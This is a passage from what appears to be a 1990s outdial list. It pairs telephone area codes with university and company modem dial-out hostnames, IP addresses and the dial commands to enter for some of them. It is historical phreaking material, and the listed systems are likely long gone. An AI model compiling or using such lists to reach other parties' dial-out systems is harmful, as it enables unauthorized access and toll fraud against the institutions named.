wright-modem-2.rutgers.edu |
|
| 612 |
modem_out12e7.atk.com |
|
| 612 |
modem_out24n8.atk.com |
|
| 614 |
ns2400.ircc.ohio-state.edu |
"dial" |
| 615 |
dca.utk.edu |
dial2400 D 99k # |
| 615 |
MATHSUN23.MATH.UTK.EDU |
dial 2400 d 99Kxxxxxxx |
| 616 |
modem.calvin.edu |
|
| 617 |
128.52.30.3 |
2400baud |
| 617 |
dialout.lcs.mit.edu |
|
| 617 |
dialout1.princeton.edu |
|
| 617 |
isdn3.Princeton.EDU |
|
| 617 |
jadwingymkip0.Princeton.EDU |
|
| 617 |
lord-stanley.Princeton.EDU |
|
| 617 |
mpanus.Princeton.EDU |
|
| 617 |
mrmodem.wellesley.edu |
|
| 617 |
old-dialout.Princeton.EDU |
|
| 617 |
stagger.Princeton.EDU |
|
| 617 |
sunshine-02.lcs.mit.edu |
|
| 617 |
waddle.Princeton.EDU |
|
| 619 |
128.54.30.1 |
atdt [area][phone] |
| 619 |
dialin.ucsd.edu |
"dialout" |
| 703 |
modem_pool.runet.edu |
|
| 703 |
wal-3000.cns.vt.edu |
|
| 713 |
128.249.27.154 |
"c modem96" "atdt 9xxx-xxxx" or "Hayes" |
| 713 |
modem12.bcm.tmc.edu |
|
| 713 |
modem24.bcm.tmc.edu |
|
| 713 |
modem24.bcm.tmc.edu |
|
| 714 |
mdmsrv7.sdsu.edu |
atdt 8xxx-xxxx |
| 714 |
modem24.nts.uci.edu |
|
| 714 |
pub-gopher.cwis.uci.edu |
|
| 801 |
dswitch.byu.edu |
"C Modem" |
| 808 |
irmodem. |